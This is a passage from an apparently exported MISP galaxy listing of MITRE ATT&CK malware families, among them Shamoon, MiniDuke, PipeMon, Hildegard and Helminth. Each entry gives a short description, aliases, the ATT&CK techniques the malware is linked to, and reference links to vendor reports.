- uses: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-

language:likelihood-probability="almost-certain"

Table 5219. Table References

Links
https://attack.mitre.org/software/S0410
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Shamoon - S0140

[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

The tag is: *misp-galaxy:mitre-malware="Shamoon - S0140"*

Shamoon - S0140 is also known as:

- Shamoon
- Disttrack

View relationships graph

Shamoon - S0140 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5220. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/software/S0140
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html

https://www.symantec.com/connect/blogs/shamoon-attacks

Wiper - S0041

[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)

The tag is: *misp-galaxy:mitre-malware="Wiper - S0041"*

View relationships graph

Wiper - S0041 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 5221. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/
https://attack.mitre.org/software/S0041

MiniDuke - S0051

[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="MiniDuke - S0051"*

MiniDuke - S0051 is also known as:

- MiniDuke

View relationships graph

MiniDuke - S0051 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5222. Table References

Links
https://attack.mitre.org/software/S0051
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

POSHSPY - S0150

[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)

The tag is: *misp-galaxy:mitre-malware="POSHSPY - S0150"*

POSHSPY - S0150 is also known as:

- POSHSPY

View relationships graph

POSHSPY - S0150 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5223. Table References

Links
https://attack.mitre.org/software/S0150
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

Ixeshe - S0015

[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)

The tag is: *misp-galaxy:mitre-malware="Ixeshe - S0015"*

Ixeshe - S0015 is also known as:

- Ixeshe

View relationships graph

Ixeshe - S0015 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5224. Table References

Links
https://attack.mitre.org/software/S0015
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

PipeMon - S0501

[PipeMon](https://attack.mitre.org/software/S0501) is a multi-stage modular backdoor used by [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: ESET PipeMon May 2020)

The tag is: *misp-galaxy:mitre-malware="PipeMon - S0501"*

PipeMon - S0501 is also known as:

- PipeMon

View relationships graph

PipeMon - S0501 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with

estimative-language:likelihood-probability="almost-certain"

Table 5225. Table References

Links
https://attack.mitre.org/software/S0501
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

HDoor - S0061

[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="HDoor - S0061"*

HDoor - S0061 is also known as:

- HDoor
- Custom HDoor

View relationships graph

HDoor - S0061 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 5226. Table References

Links
https://attack.mitre.org/software/S0061
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Hildegard - S0601

[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)

The tag is: *misp-galaxy:mitre-malware="Hildegard - S0601"*

Hildegard - S0601 is also known as:

- Hildegard

View relationships graph

Hildegard - S0601 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5227. Table References

Links
https://attack.mitre.org/software/S0601
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

SideTwist - S0610

[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)

The tag is: *misp-galaxy:mitre-malware="SideTwist - S0610"*

SideTwist - S0610 is also known as:

- SideTwist

View relationships graph

SideTwist - S0610 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5228. Table References

Links
https://attack.mitre.org/software/S0610
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

BISCUIT - S0017

[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="BISCUIT - S0017"*

BISCUIT - S0017 is also known as:

- BISCUIT

View relationships graph

BISCUIT - S0017 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="BISCUIT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5229. Table References

Links
https://attack.mitre.org/software/S0017
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Helminth - S0170

[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)

The tag is: *misp-galaxy:mitre-malware="Helminth - S0170"*

Helminth - S0170 is also known as:

- Helminth

View relationships graph

Helminth - S0170 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Helminth" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5230. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://attack.mitre.org/software/S0170

hcdLoader - S0071

[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)

The tag is: *misp-galaxy:mitre-malware="hcdLoader - S0071"*

hcdLoader - S0071 is also known as:

- hcdLoader

View relationships graph

hcdLoader - S0071 has relationships with:

- similar: misp-galaxy:rat="hcdLoader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5231. Table References

Links
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/
https://attack.mitre.org/software/S0071

Elise - S0081

[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Elise - S0081"*

Elise - S0081 is also known as:

- Elise
- BKDR_ESILE
- Page

View relationships graph

Elise - S0081 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5232. Table References

Links
https://attack.mitre.org/software/S0081
https://www.accenture.com/t20180127T003755Z_w_/us-en/*acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

Sykipot - S0018

